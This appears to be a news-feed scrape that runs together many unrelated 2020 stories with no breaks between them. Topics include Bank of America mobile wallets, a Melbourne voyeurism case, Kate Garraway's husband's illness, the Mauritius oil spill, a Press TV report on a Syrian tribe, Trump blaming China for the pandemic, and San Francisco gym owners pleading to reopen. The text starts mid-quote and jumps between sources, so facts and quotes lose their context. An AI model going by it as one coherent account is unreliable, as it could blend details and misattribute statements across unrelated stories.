super bleak, super depressing, I kept coming across story after story of people who stood up to do the right thing, [who] defied expectations. [No] matter how dark and bleak our circumstances are, there are always people who are willing to stand up and do the right thing. Traitor: A Novel of World War II by Amanda McCrina. FSG, $18.99 Aug. 25 ISBN 978-0-374-31352-4 Bank of America (BoA) has expanded its mobile wallet capabilities for corporate clients in EMEA and APAC. The bank first launched mobile wallet in the United States and Canada in 2018, and this expansion makes it the first commercial bank issuer to offer the technology to corporate clients worldwide. The banks clients who use its Corporate Travel and Purchasing cards in EMEA and APAC are now able to use Apple Pay and Google Pay to make and manage card purchases. This makes its clients lives easier through faster, more secure and efficient business transactions, while providing the same convenience they experience in their personal banking. With social distancing being paramount right now, a smooth and entirely contact-free payment experience is all the more relevant for users. This new functionality underlines Bank of America's investment in enhancing the cardholder experience, said David Voss, head of Commercial Cards for Global Transaction Services (GTS) EMEA. Our business lives are increasingly digital and mobile, and the same applies to making payments. Enabling our clients to transact using their mobile devices delivers convenience, security and efficiency. Clients are looking for even more secure ways to pay, and Mobile Wallets deliver a fully digital payment experience, avoiding potential exposure of sensitive card credentials, said Clara Wang, head of Asia Pacific Corporate Payables, Cross Currency and Commercial Cards Products, GTS. Our clients in APAC and EMEA can now conduct transactions on the go quickly and more securely, providing them with time and cost benefits. To help protect client information, mobile wallets use a process known as tokenisation, where sensitive card data is replaced by a token. When making a payment via mobile wallet, only the token is passed to merchants instead of the actual card data. This improves payment security as it prevents exposure of sensitive card information to merchants. For additional security, when making a payment using mobile wallet, the cardholder will need to complete identity confirmation, such as facial recognition, a thumbprint or passcode, to complete the transaction. This verification process occurs on the cardholders mobile device and typically replaces the need to enter a PIN on the merchants terminal. This mobile wallet capability is available to users in 29 countries in EMEA and APAC, with additional countries expected to be added. Mobile phones and smart watches are also supported. Bank of America is a leader in commercial card solutions, and for the sixth consecutive year, the Nilson Report recently named the bank as the number one issuer of Visa and Mastercard Commercial Credit and Prepaid solutions by market share. Learn more about Bank of America Mobile Wallet. -- Tradearabia News Service Todays Headlines The most important news stories of the day, curated by Post editors and delivered every morning. Email address By signing up you agree to our Terms of Use and Privacy Policy A desperate search is underway for a man who filmed a woman while inside a bathroom stall at a shopping centre. The 20-year-old woman was in a shopping centre bathroom in Craigieburn, 25km north of Melbourne, on July 22 at 7.30pm. She was horrified to spot a pair of tradie boots poking out from under the cubicle next to her. When she looked up, she saw a man's mobile phone poking over the edge of the bathroom stall as he filmed her, police said. Police are looking to speak to this man (pictured) after a woman was filmed while in a shopping centre toilet The young woman screamed and the man quickly left the bathroom and jumped in a dark-coloured 2002-2004 Holden Commodore VY. Victoria Police have released images of a man who may be able to help with their investigation. He is believed to be white and in his 20s with short black hair and a beard. Anyone with information is urged to contact Crime Stoppers on 1800 333 000. Former Air Force base in Gettysburg on market for $4.5 M A former air force base near Gettysburg is up for sale. The base is listed as having 50 beds and 15 bathrooms on a 42-acre parcel of land. On a Friday in February, police were running out of options. Theyd unsuccessfully searched a Collingswood home and their suspect said hed destroyed what they were looking for. But after a German Shepherd named Ice walked in and sat down near a piece of furniture, a new hunt began and it yielded a hidden cell phone with child pornography. New York, Aug. 11, 2020 (GLOBE NEWSWIRE) -- Reportlinker.com announces the release of the report "Chemiluminescence Immunoassay Analyzers Market Research Report by Product, by End-User, by Application - Global Forecast to 2025 - Cumulative Impact of COVID-19" - https://www.reportlinker.com/p05913815/?utm_source=GNW The Global Chemiluminescence Immunoassay Analyzers Market is expected to grow from USD 4,479.65 Million in 2019 to USD 7,634.29 Million by the end of 2025 at a Compound Annual Growth Rate (CAGR) of 9.29%. Market Segmentation & Coverage: This research report categorizes the Chemiluminescence Immunoassay Analyzers to forecast the revenues and analyze the trends in each of the following sub-markets: Based on Product, the Chemiluminescence Immunoassay Analyzers Market studied across Analyzers, Consumables, and Reagents. The Analyzers further studied across Fully-Automated Analyzers and Semi-Automated Analyzers. The Reagents further studied across Enzymatic Markers and Luminophore Markers. Based on End-User, the Chemiluminescence Immunoassay Analyzers Market studied across Clinical Laboratories, Hospitals, and Pharmaceutical & Biotechnology Industries. Based on Application, the Chemiluminescence Immunoassay Analyzers Market studied across Allergy, AutoimmunityDrug Discovery and Development, Cardiovascular Disorders, Endocrine Disorders, Hepatitis and Retrovirus, Infectious Diseases, and Oncology. Based on Geography, the Chemiluminescence Immunoassay Analyzers Market studied across Americas, Asia-Pacific, and Europe, Middle East & Africa. The Americas region surveyed across Argentina, Brazil, Canada, Mexico, and United States. The Asia-Pacific region surveyed across Australia, China, India, Indonesia, Japan, Malaysia, Philippines, South Korea, and Thailand. The Europe, Middle East & Africa region surveyed across France, Germany, Italy, Netherlands, Qatar, Russia, Saudi Arabia, South Africa, Spain, United Arab Emirates, and United Kingdom. Company Usability Profiles: The report deeply explores the recent significant developments by the leading vendors and innovation profiles in the Global Chemiluminescence Immunoassay Analyzers Market including Abbott Laboratories, Danaher, DiaSorin S.p.A., F. Hoffmann-La Roche Ltd, Ortho Clinical Diagnostics, Randox Laboratories Ltd., Shenzhen New Industries Biomedical Engineering Co., Ltd., Siemens Healthcare GmbH (Siemens AG), Sysmex Corporation, and Tosoh Corporation. FPNV Positioning Matrix: The FPNV Positioning Matrix evaluates and categorizes the vendors in the Chemiluminescence Immunoassay Analyzers Market on the basis of Business Strategy (Business Growth, Industry Coverage, Financial Viability, and Channel Support) and Product Satisfaction (Value for Money, Ease of Use, Product Features, and Customer Support) that aids businesses in better decision making and understanding the competitive landscape. Competitive Strategic Window: The Competitive Strategic Window analyses the competitive landscape in terms of markets, applications, and geographies. The Competitive Strategic Window helps the vendor define an alignment or fit between their capabilities and opportunities for future growth prospects. During a forecast period, it defines the optimal or favorable fit for the vendors to adopt successive merger and acquisition strategies, geography expansion, research & development, and new product introduction strategies to execute further business expansion and growth. Cumulative Impact of COVID-19: COVID-19 is an incomparable global public health emergency that has affected almost every industry, so for and, the long-term effects projected to impact the industry growth during the forecast period. Our ongoing research amplifies our research framework to ensure the inclusion of underlaying COVID-19 issues and potential paths forward. The report is delivering insights on COVID-19 considering the changes in consumer behavior and demand, purchasing patterns, re-routing of the supply chain, dynamics of current market forces, and the significant interventions of governments. The updated study provides insights, analysis, estimations, and forecast, considering the COVID-19 impact on the market. The report provides insights on the following pointers: 1. Market Penetration: Provides comprehensive information on the market offered by the key players 2. Market Development: Provides in-depth information about lucrative emerging markets and analyzes the markets 3. Market Diversification: Provides detailed information about new product launches, untapped geographies, recent developments, and investments 4. Competitive Assessment & Intelligence: Provides an exhaustive assessment of market shares, strategies, products, and manufacturing capabilities of the leading players 5. Product Development & Innovation: Provides intelligent insights on future technologies, R&D activities, and new product developments The report answers questions such as: 1. What is the market size and forecast of the Global Chemiluminescence Immunoassay Analyzers Market? 2. What are the inhibiting factors and impact of COVID-19 shaping the Global Chemiluminescence Immunoassay Analyzers Market during the forecast period? 3. Which are the products/segments/applications/areas to invest in over the forecast period in the Global Chemiluminescence Immunoassay Analyzers Market? 4. What is the competitive strategic window for opportunities in the Global Chemiluminescence Immunoassay Analyzers Market? 5. What are the technology trends and regulatory frameworks in the Global Chemiluminescence Immunoassay Analyzers Market? 6. What are the modes and strategic moves considered suitable for entering the Global Chemiluminescence Immunoassay Analyzers Market? Read the full report: https://www.reportlinker.com/p05913815/?utm_source=GNW About Reportlinker ReportLinker is an award-winning market research solution. Reportlinker finds and organizes the latest industry data so you get all the market research you need - instantly, in one place. __________________________ Kate Garraway discussed wanting to donate her blood plasma to husband Derek Draper during his coronavirus battle on Good Morning Britain on Tuesday. The TV host, 53, said she she was 'desperately researching anything she could do to help' her husband who remains very sick in hospital. Co-host Adil Ray, 46, said: 'On the show last week, you would have seen Kate talking about the potential importance of blood plasma transfusions for the treatment of COVID-19 patients. 'I was researching anything I could do to help': Kate Garraway discussed wanting to donate her blood to husband Derek Draper during his coronavirus battle on GMB on Tuesday 'That day the number of people offering to donate went up 300 per cent. Kate said: It's a lovely lovely thing. The process which is similar to giving blood, only takes 45 minutes and can be used to help treat patients who aren't producing enough of their own antibodies to fight COVID-19. 'The reason it's popped up, why I was talking about it, was because when Derek first got sick, I was desperately researching anything I could do to help. 'I watched him be consumed by the virus despite all the brilliant efforts of those around trying to help him in the NHS.' Sad: Kate's beloved husband Derek remains very sick in hospital after falling ill with coronavirus back in March She continued: 'I was told at the time, because it was one of the ideas I had, "what about giving my blood, there are antibodies in my blood because I've had it, will that help?" they said no because the trials for it hadn't really started. 'I started talking about it last week because I found out that now it is being used which is fantastic.' Adil said: 'Kate, I will say this, you're so inspiring at a time like this.' Kate replied: 'I don't know about that, I feel very emotional about it actually, not just the idea that people are coming forward but that it might save lives. Adil added: 'We're all watching you and how you're dealing with such a terrible situation and how you're dealing with it with such grace and positivity. It's an inspiration, it really is, thank you. How is Derek?' Kate told co-host Adil Ray: ' I'm hoping to see [Derek] this week. It was a stable day yesterday and I'm learning Adil that stable is sometimes good' Kate said: ' I'm hoping to see him this week. It was a stable day yesterday and I'm learning Adil that stable is sometimes good. 'What we want is up days but a non down day is something to celebrate as well. It doesn't necessarily get easier. But good to know things are moving forward, trials are being done and other lives can be saved.' On Monday, Kate revealed she is reluctant to talk about Derek 'every week' on the show as she doesn't want to upset viewers, but was reassured by Adil that she has been 'inspiring.' Kate said Derek 'is very much still with us,' but it is still a 'waiting game'. The presenter admitted she feels a level of guilt about returning to the job she loves, explaining: 'You feel almost bad because oh I'm laughing and he's still there in a minimally conscious state, it's a difficult balance.' She continued: 'What we want is up days but a non down day is something to celebrate as well. It doesn't necessarily get easier. But good to know things are moving forward, trials are being done and other lives can be saved' 'I know everyone has been so lovely and are concerned, but then you don't want to talk about it on GMB every time because it's not cheering up everyone,' she continued. Kate then admitted that 'it was a worrying week last week'.' 'We've still got lots of challenges, challenges with food, challenges with everything, with lungs with everything. We just want him to wake up.' 'The nurses are putting this show on in the morning for him in the hope that might trigger something, but its a waiting game.' 'I'm lucky I've got the chance to wait and he's still with us and lots of people don't have that.' Kate added: 'I've got to keep life going on so Derek has a life to get back to.' An NHS Blood and Transplant spokesperson told MailOnline on Tuesday: 'The number of people who have recovered from coronavirus offering to donate plasma was 293% the normal last Monday after Kate spoke about her own desire to donate, following her husbands illness. 'Were really grateful to Kate and Good Morning Britain for covering donation again today because we urgently people to donate now, to help during any second wave. 'If youve had coronavirus, you could saves lives by donating plasma. You could give the NHS the first treatment which actually attacks the virus. Register to donate at www.nhsbt.nhs.uk.' After 10 years as CSO of payroll and HR solutions provider ADP, Roland Cloutier was looking for a challenge. He found one in his new role as Global CSO at TikTok, the fast-growing social media startup that has found itself in the news over privacy concerns. For Cloutier, who joined TikTok in April, dispelling disinformation and being transparent about how user data is protected quickly become job number one. In this interview, he calls on the security industry to take on a shared responsibility for transparency, to have the conversations and hold each other accountable. Prime Minister Nguyen Xuan Phuc has approved a programme to support people with disabilities in 2021-2030. Children with disabilities in a functional rehabilitation class in Hung Yen Province. The overall objective of the programme is to promote the implementation of the United Nations Convention on the Rights of Persons with Disabilities and the Vietnamese Law on Persons with Disabilities, to improve the quality of life of disabled people, create conditions for the people participate equally in social activities, build a barrier-free environment, ensure the legal rights of people with disabilities and support them to develop their capabilities. Under the programme, by 2030, annually about 90 per cent of people with disabilities are hoped to have access to health services in different forms and 80 per cent of children from birth to six years old are screened for early detection of birth defects, developmental disorders and given early intervention for various types of disabilities. Additionally, about 70,000 children and people with disabilities will be given orthopaedic surgery, functional rehabilitation and provided with appropriate assistive devices. The programme also sets a target of 90 per cent of children with disabilities having access to education from pre-school to high school. About 300,000 people with disabilities who are in need and eligible will be offered vocational training and job support. The programme aims for 70 per cent of provinces and cities nationwide having sports clubs attracting 15 per cent of disabled people to participate in physical training and sporting activities. About 20 per cent of people with disabilities will be supported to take part in cultural, artistic and performing arts activities and all provincial public libraries will organise reading space for the disabled. According to a survey conducted by the General Statistics Office of Vietnam last year, the total number of people with disabilities was 6.2 million, accounting for 7 per cent of the population. In addition, 13 per cent of the population, nearly 12 million people, were living in households with people with disabilities. This rate is expected to increase as the population ages. According to the survey, households with members with disabilities were often poorer, children with disabilities were less likely to go to school than their peers, and employment opportunities for people with disabilities were scarcer. VNS People with disabilities need more support People with disabilities in Vietnam need more access to support programmes on various fields of life, a workshop in Hanoi heard on Friday. Syrian tribe declares popular war against US forces, SDF Iran Press TV Monday, 10 August 2020 10:39 AM A Syrian tribe in the eastern province of Dayr al-Zawr has launched a popular resistance force against US troops and their allies, accusing the so-called Syrian Democratic Forces (SDF) of stealing the country's resources. The US-based Rai al-Youm newspaper said on its website on Monday that the tribe of Akidat announced in a statement the formation of a military council and launching popular resistance against the US forces and their allied militants in an apparent direct accusation of the American troops of being behind the assassination of Matshar al-Hafl, a senior member of the tribe. The statement also accused the SDF of stealing the country's resources and killing its prominent figures. According to the statement, the elders and notable members of the tribe had held a meeting to take action against the "American occupiers" and the US-backed mercenaries, and to liberate the Syrian territory. The statement said they agreed to form a political council and a tribal army - to serve as its military wing - to manage the tribe's affairs in cooperation with the relevant authorities. It added that the council has begun the practical steps towards the formation of the Akidat army to liberate Syrian territory in coordination with the Syrian army. The US-led coalition has been conducting airstrikes and operations against what are said to be Daesh targets inside Syria since September 2014 without any authorization from the Damascus government or a United Nations mandate. Damascus has repeatedly condemned the airstrikes. The military alliance has repeatedly been accused of targeting and killing civilians. The US has dispatched new deployments to the Syrian provinces of Hasakah and Dayr al-Zawr following President Donald Trump's October decision to keep hundreds of US troops in Syria to "secure" the country's oilfields which Syrian troops have yet to retake from militants. Russian Foreign Minister Sergei Lavrov reiterated that US attempts to control Syria's oilfields were "illegal" and amounted to "robbery." Damascus is in great need of its major oil deposits in order to address its energy needs and rebuild the country amid crippling Western sanctions. The Arab country has been gripped by foreign-backed militancy since March 2011. The Syrian government says the Israeli regime and its Western and regional allies are aiding Takfiri terrorist groups that are wreaking havoc in the country. The Arab country is currently extracting oil at only 10 percent of its pre-war capacity. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address Henderson, Nevada--(Newsfile Corp. - August 11, 2020) - Fresh Promise Foods, Inc., (OTC Pink: FPFI) (hereinafter "FPFI") a publicly traded company under the ticker symbol "FPFI" announced that it has executed a letter of intent to acquire a majority interest in Human Brands International, Inc. (hereinafter, "The Company"). Human Brands (www.humanbrandsinc.com), headquartered in Washington, DC, is a diversified holding company in the spirit and hospitality sectors with a primary focus on the tequila industry. The Company currently has several wholly owned subsidiaries that focus on five key areas of business: Agave, Bulk Tequila Production, Brand Development, Import/Export and Hospitality. The Company's diversified operating divisions currently own and manage over 250k agave plants, several premium spirit brands, three hospitality concepts, and holds exclusive import/export rights for a variety of spirit brands. The Company's core foundation is built upon its bulk tequila production operations. The Company currently has supply contracts with well-known tequila brands, as well as celebrities and athletes. The vertically integrated structure of Human Brands enables the Company to drive business from each level of the supply chain, from ground to glass. The Company's goal is to bring consumers, and shareholders, an authentic 'experience' through each of its products, brands and locations, while continuing to grow its revenues and build its asset value. Tequila is now one of the fastest growing spirits categories, but still only sits at 3% of the total global spirits market. There is substantial opportunity for growth, especially internationally beyond the traditional markets of the U.S. and Mexico. Human Brands believes it can continue to secure valuable positions across the category to capitalize on Tequila's growth. The pending acquisition will allow Human Brands to access the public markets which will give the Company the ability to execute on immediate growth opportunities. These opportunities are projected to increase monthly revenues, expand the Company's asset base and establish a stronger infrastructure to manage the forecasted growth of the Company. The Company's management team looks forward to finalizing the acquisition over the next several weeks and will be actively involved in the integration of the two Companies upon consummation of the deal. Story continues Please continue to follow FPFI for further updates. About Fresh Promise: Fresh Promise Foods, Inc is a holding company that focuses on acquisition opportunities in the multi-trillion dollar spirit/adult beverage sector and related industries. FPFI primarily targets companies, and/or exclusive production and supply agreements in the Tequila industry. FPFI will also seek opportunities involving uniquely positioned, specialized retail/hospitality locations and brands that will be supported by our underlying business activities. About Human Brands: Human Brands International, Inc. (www.humanbrandsinc.com) is a diversified holding company in the spirit and hospitality sectors with a primary focus on the tequila industry. The Company was established in late 2014 to capitalize on the growing alcohol beverage market and changing consumer habits in the industry. The Company currently has several wholly owned subsidiaries that focus on five key areas of business: Agave, Bulk Tequila Production, Brand Development, Import/Export and Hospitality. Forward-Looking Statements Certain statements in this news release may contain forward-looking information within the meaning of Rule 175 under the Securities Act of 1933 and Rule 3b-6 under the Securities Exchange Act of 1934, and are subject to the safe harbor created by those rules. All statements, other than statements of fact, included in this release, including, without limitation, statements regarding potential future plans and objectives of the company, are forward-looking statements that involve risks and uncertainties. There can be no assurance that such statements will prove to be accurate and actual results and future events could differ materially from those anticipated in such statements. Technical complications, which may arise, could prevent the prompt implementation of any strategically significant plan(s) outlined above. Contact: Joe Poe Email: Joepoe1@yahoo.com To view the source version of this press release, please visit https://www.newsfilecorp.com/release/61420 Oil leak on Japanese ship off coast of Mauritius halted, but more spillage possible as tanker risks breaking up. The Japanese tanker that ran aground off Mauritius and threatened an environmental catastrophe has stopped leaking, but there is a danger of the vessel breaking in two. Prime Minister Pravind Jugnauth confirmed in a televised briefing on Tuesday that there has been no more spillage from the tanker MV Wakashio as of Monday. However, he said huge cracks appeared on the ships body, indicating it could break apart and leak more fuel. Jugnauth, flanked by top officials, said the government has taken large-scale containment efforts to curb any additional spillage, including deploying emergency response teams. The MV Wakashios operator confirmed on Tuesday that the crack in the hull of the stranded Japanese-owned freighter had expanded amid fears it might break apart. Since this ship is unable to navigate by itself, it is moored to a tugboat so that it will not drift even if it is broken, Mitsui OSK Lines said in a statement. The major Japanese shipping company also said that of the 1,180 tonnes of fuel oil that had already leaked out from a fuel tank, about 460 tonnes have been manually recovered from the sea and the coast. By early Tuesday, about 1,020 tonnes had also been pumped out of the Wakashio, which was transporting about 4,000 tonnes of oil when it ran aground on a coral reef off the Indian Ocean island on July 25, the company said. Refloat the ship To prevent further spillage into the sea, a salvage team and authorities were pumping out a remaining 1,800 tonnes of oil from the ship. The MV Wakashio hit a coral reef off the island on July 25 and fuel started spilling from its hull over the past few days, sparking fears of an ecological disaster in Mauritiuss protected waters. Atsushi Hara, a spokesman for Mitsui OSK Lines, told DPA news agency that since the ship ran aground, the most immediate priority had been to refloat the ship. Nagashiki Shipping said attempts to refloat it have been foiled because of poor weather conditions. The ships operator says the crack in the hull of the stranded Japanese-owned freighter has expanded [File: Daren Mauree/AFP] Mauritian authorities earlier declared an environmental state of emergency, though some criticised the reaction as being too slow. Jugnauth urged the international community to assist the East African nations efforts. He said quality tests have found air in the area to be safe, but the government has decided to keep schools closed until the cleaning process is completed. Jugnauth also thanked residents for coming out in large numbers to help in clean-up efforts. Meanwhile, the Mauritius Commercial Bank has given the Mauritian Wildlife Foundation some $75,000 to protect endangered flora and fauna, local media reported on Tuesday. In a statement, the bank said it was imperative to relocate the species that live on Ile aux Aigrettes, a nature reserve located off the southeastern coast of Mauritius. The bank said it hoped the money would help protect the rarest endemic species of our environmental heritage. President Donald Trump attends a bilateral meeting with China's President Xi Jinping during the G20 leaders summit in Osaka, Japan, June 29, 2019. Kevin Lamarque/Reuters President Donald Trump on Monday continued to blame the coronavirus pandemic on China while also urging people to "stop politicizing" the virus. "We must stop politicizing the virus and instead be united in our condemnation of how this virus came to America, how this virus came to the world," Trump said. Trump has sought to deflect from his own failures in responding to the pandemic by blaming Beijing. Visit Business Insider's homepage for more stories. President Donald Trump on Monday urged people to "stop politicizing" COVID-19 moments before once again blaming the pandemic on China, amid a press conference in which he repeatedly said "China virus." "We must stop politicizing the virus and instead be united in our condemnation of how this virus came to America, how this virus came to the world, and we are going to figure it out, and we are going to find out, and we are very angry about it," Trump said during Monday's press briefing. Monday's press briefing was interrupted early on due to a shooting near the White House. The president was ushered out of the room due to the shooting, but ultimately returned to continue discussing the virus and related matters, continuing to blame Beijing for the pandemic in the process. "We are upset with China because of what they did," Trump said, before taking a conspiratorial tone and suggesting, without evidence, that China "released" the virus into the US. The novel coronavirus was first detected in Wuhan, China. In the early days of the virus, Trump praised China's handling of the initial outbreak. Story continues "China has been working very hard to contain the Coronavirus. The United States greatly appreciates their efforts and transparency. It will all work out well. In particular, on behalf of the American People, I want to thank President Xi!" Trump tweeted in late January. But as cases began to spread at scale in the US, Trump shifted to blaming the pandemic on China and began calling COVID-19 the "China virus." Meanwhile, the US has the worst coronavirus outbreak in the world, with the highest numbers in terms of confirmed fatalities and reported cases. As of Monday, there were over 5 million reported COVID-19 cases and more than 163,000 confirmed deaths from the virus in the US, per the latest data from Johns Hopkins. Though China has faced broad criticism over its lack of transparency on the virus, public health experts widely agree that Trump's response to the coronavirus pandemic has been disastrous. The president has continuously downplayed the threat of the virus, repeatedly contradicted his own infectious disease and public health experts, and routinely exhibited disdain for coronavirus restrictions. Read the original article on Business Insider WINSTED A limited-capacity cooling center was opened Tuesday at Town Hall on Main Street, with plans to keep it open until 4 p.m. Wednesday as high temps blanketed the area. In an online message, Town Manager Robert Geiger encouraged residents to exercise caution as temperatures rose to dangerous levels. Tuesday, the temperature by noon was 92 degrees. Residents are being advised to take extra precautions as temperatures heat up this week, Geiger wrote. Please plan to stay hydrated and avoid becoming overheated, as humidity is expected to rise along with excessive temperatures. Town Hall has been designated as a cooling center through Wednesday and is open from 8 a.m. to 4 p.m. Anyone who wants to visit the colling center first must go to the building department, also known as the Blue Room, to have their temperature checked and answer a series of health screening questions, according to Geiger. The room is limited to six people at a time, he said. Torrington Emergency Management Director and Fire Chief Peter Towey recently said that because of the ongoing coronavirus pandemic, the city had not followed its usual process of providing cooling centers to residents. In the past, City Halls council chambers, Josephs House on Water Street and the Sullivan Senior Center for seniors only have been designated as cooling centers. Its a concern, he Towey said in an interview last month. Were monitoring the situation and at the same time, were hoping people can find alternative resources for the heat. Unfortunately we have limited resources, and we cant trade one risk for another, he said. The community has really been great about keeping watch over each other, and assisting each other when they can. But opening cooling centers wasnt something the city was able to do at the time, Towey said. Sullivan Senior Center Director Joel Sekorski said if a senior center member needed relief from the heat, hed find a way to help. If it was 100 (degrees) out for days, wed come up with some kind of plan, he said. Wed find a space that was more conducive to deal with people; and if we felt there were people who were identified as really being in need, wed bring them here. The citys website, torringtonct.org, has a bulletin board on its home page with a list of alerts and services for residents, who can also call City Hall at 860-489-2228, or the senior center at 860-482-4151. To reach the office of Emergency Management, call 860-626-7537. Caprice has been seen for the first time since it was revealed last Friday her Ibiza holiday home had been robbed in a daylight jewellery raid. The model, 48, was seen stocking up on groceries as she continued to spend time in the Spanish island on Tuesday following the incident, which she is still said to be 'upset' about. A source speaking exclusively to MailOnline about how Caprice is doing said she is trying to focus on her sons Jett and Jax: 'Caprice is still quite upset after the robbery but is carrying on with her mommy duties for her family to keep herself busy.' EXCLUSIVE: Caprice stepped out for the first time since her Ibiza home was robbed to stock up on groceries on Tuesday, as it was revealed she is 'still quite upset' by the incident The source added that she's been making sure to wear her mask wherever she goes due to stricter rules in Spain: 'Caprice and her family are also being really careful with the Covid-19 rules that are in place in the country. 'Things are much different in Spain and the Spanish are really strict with face masks. You have to wear them outside and inside. Only in restaurants can you take them off to eat. You can get a big fine if you break the rules. Caprice looked casually chic in a plunging light green shirt which she teamed with a pair of olive-green lace shorts. Focus: A source said Caprice is trying to focus on her sons Jett and Jax, and claimed: 'Caprice is still quite upset after the robbery but is carrying on with her mommy duties' Caprice offset her ensemble by stepping out in white trainers, and she accessorised with a silver chain necklace and hooped earrings Making sure to keep safe amid the coronavirus pandemic, Caprice wore a blue face mask over her nose and mouth. She also let her golden locks fall in a sleek, straight style over her shoulders, and used a natural palette of make-up for the occasion. Safety first: The source added that she's been making sure to wear a mask wherever she goes due to stricter rules in Spain, and she was seen using a blue face covering during the outing On Friday it was revealed that 'tens of thousands of pounds' worth of jewellery owned by her guests were stolen in a daylight raid at her Ibiza home. She has owned a property on the Spanish island for years, spending her summers with friends and family at the house. Caprice and her family, as well as her guests, are not believed to have been at the villa at the time of the burglary. The TV personality has been left 'shaken up' during her current trip, where she has holidayed with WAG Rebekah Vardy and her family, after the traumatic robbery. Relaxed look: Caprice looked casually chic in a plunging light green shirt which she teamed with a pair of olive-green lace shorts 'Caprice and family are a little shaken up after her Ibiza house was robbed in broad daylight,' an insider told MailOnline. 'She has been coming to Ibiza with friends and family for the past 20 years and has never had any problems. It was her guests who were robbed and tens of thousands of pounds worth of jewellery was taken.' Caprice was pictured at the island's courthouse on Thursday as she arrived to file a police report. 'She went straight to the courthouse to file a police report. A lot was stolen,' the insider added. 'You just don't expect it in broad daylight!' Shock: On Friday it was revealed that 'tens of thousands of pounds' worth of jewellery owned by her guests were stolen in a daylight raid at her Ibiza property 'Caprice never brings her jewellery or anything of value when the family goes to Ibiza nor does she keep cash around just to be safe. She feels awful and a bit frightened this has happened'. Caprice is currently caught up in the coronavirus chaos after the government pulled its air bridge with Spain following a spike in COVID-19 cases. The government introduced a mandatory 14-day quarantine on anyone returning to Britain from Spain in a hastily announced change in the rules. The rules apply to all regions of Spain, including the Canary and Balearic islands - though politicians in the latter say they are trying to thrash out a regional air bridge. Sparrows Group has signed a long-term partnership agreement to become the sole original equipment manufacturer (OEM) service provider for market leading machine construction company JD Neuhaus Group (JDN) in the Middle East. The German family-owned manufacturer has approved Sparrows as the service provider for its hoist equipment, including for new hoists, service projects and spare parts. Established 275 years ago, JDN is the largest provider of air hoists to the offshore oil and gas industry. Its products are currently used in 70 different sectors with 80% of its hydraulic and pneumatic hoists and crane systems exported to 90 countries worldwide, said a statement. Sparrows expertise in lifting equipment and local presence in the Middle East will extend JDNs presence into the region. As well as servicing the regions offshore oil and gas sector, the two companies will target its onshore industries including automotive, pharmaceutical, food and mining. All JDN product enquiries in the Middle East will be handled by Sparrows with equipment repair and servicing carried out from its workshop facilities in Saudi Arabia, Abu Dhabi and Qatar. Eighteen of the companys technicians in the region will receive full JDN hoist equipment training by the end of October, it said. Stewart Mitchell, chief executive officer of Sparrows, said: JDN is one of the most well-respected and longest standing family run businesses in the world and we are very pleased to be chosen as their sole OEM services provider in the Middle East for their hoist equipment. Until now, many companies have been unable to source JDNs OEM parts in-country. Our partnership provides customers with easy access to the equipment they need and the full assurance that they are working with an approved supplier to help extend the lifecycle of their hoists. The collaboration is fully aligned with our diversification plans and has opened up significant new opportunities in the Middle Easts oil and gas industry as well as the key onshore industrial markets. We look forward to working closely with JDN as we develop this partnership further. Wilfried Neuhaus-Gallade, Managing Director of J.D. Neuhaus Group, said: This partnership is an important milestone for bringing our solutions closer to our customers in the Region. Sparrows Group are a 1st Class Global Service provider to many industries and we are excited about the future and working with them in the Middle East. Steve Walker, Managing Director of J.D. Neuhaus UK and also the responsible person for the region, adds: Sparrows already has an excellent reputation for customer services in the energy industry and we know that many of our customers trust them. These existing relationships combined with their local footprint enables us to expand into the region. Our experience in different sectors supports Sparrows diversification strategy and we look forward to working together as we grow both businesses. TradeArabia News Service Washington, Aug 11 : A woman was dead, six people were seriously injured and three homes reduced to rubble in a major gas explosion in Baltimore, a major city in eastern US state of Maryland, the authorities said. Emergency personnel were searching for people who might have been trapped in the debris of the three rowhouses in a residential neighbourhood in the northeast part of the city, local media reported. The explosion erupted shortly before 10 a.m. local time. The Baltimore Fire Department said the precise cause remains under investigation, Xinhua news agency reported on Monday. Baltimore Gas and Electric, the nation's oldest gas company, said it would work to make repairs and try to determine what caused the explosion. The Baltimore Sun reported last September that natural gas has been leaking out of old pipes increasingly in recent years. -- Except for the title, this story has not been edited by Prokerala team and is auto-generated from a syndicated feed I got into the rock n roll scene as a teenager and drove my parents insane. I went off to college and two other guys in the band left and formed Ozark Mountain Daredevils. I was in school and they were touring and recording and going to Europe. Enlarged photos of his band days occupy one wall at the winery. Wickizer said he still performs with a group that specializes in pre-1800s music. The physicist Wickizer was a high school dropout. I maxed out the standardized test and went to college, he said. He studied briefly at Drury College (now Drury University), then earned his bachelors degree at University of Missouri-Rolla. He completed his masters degree and started doctoral work in physics at Washington University in St. Louis at age 23. I had an uncle who worked on the Manhattan Project, and he was my mentor, my inspiration to go into physics, Wickizer said. I had my dissertation half written and told my advisor that having a Ph.D. was not my calling. I had a history then of going to the edge of something, then moving on to something else. Owners of boutique gyms and fitness centers flooded a San Francisco Small Business Commission meeting Monday night and pleaded for permission to reopen. In a series of speeches grouped under the title Help Save Us from Complete Collapse, members of the San Francisco Independent Fitness Studio Coalition addressed Health Officer Dr. Tomas Aragon with an array of emotional and data-based appeals. Its somewhat confusing to me as to why I cant be 20 feet away from someone and instructing them how to do push-ups while both of us wear masks, said Evan Mather, owner of Custom Fit, whose Market Street facility has 18-foot ceilings. At the same time, I can get in an Uber car, go to an airport, sit in the middle seat of a plane, fly to San Diego and go shopping for expensive jeans. Its ridiculous. It doesnt seem like science is dictating these decisions. Aragon addressed the Small Business Commission for 90 minutes. Paul Chinn / The Chronicle 2019 Im not an expert on all of the various ways that people run businesses, Aragon told the commission. I just want to know ventilation, physical distancing, face-masking and core principles. At the health-officer level, were thinking: What are some levers we can pull? We dont want to get into the business of all of these individual capabilities. It puts us in a really difficult situation, because I cant give you a rational reason. After asking to leave, he was obliged to stay to hear more speakers. Public comments were reduced from three to two minutes apiece to accommodate all the interested parties. Sometimes ducking his head and sometimes taking notes, Aragon stayed for the next hour as more than a dozen members of the boutique-fitness coalition peppered him with questions and pointed comments. Dave Karraker, co-owner of MX3 Fitness, said he had laid off 10 people and amassed a debt of more than $20,000 since March. Mystie Webster said she has a personal guarantee on the remaining two years of a 10-year lease for her studio on Van Ness, so her only options are to hang on and go into massive debt or declare bankruptcy. Lisa Thomure opened the Pilates studio CORE MVMT in January. I have no option to close permanently, unless I want to spend the rest of my life paying off debts I acquired in opening my business, Thomure said. You are saying that our knowledge and understanding of this virus is evolving weekly, even daily. But your approach to reopening has not evolved, at all. The meeting format did not allow for Dr. Aragon to respond to the public comments, even though it appeared he wanted to several times on the WebEx conference. Air Quality Tracker 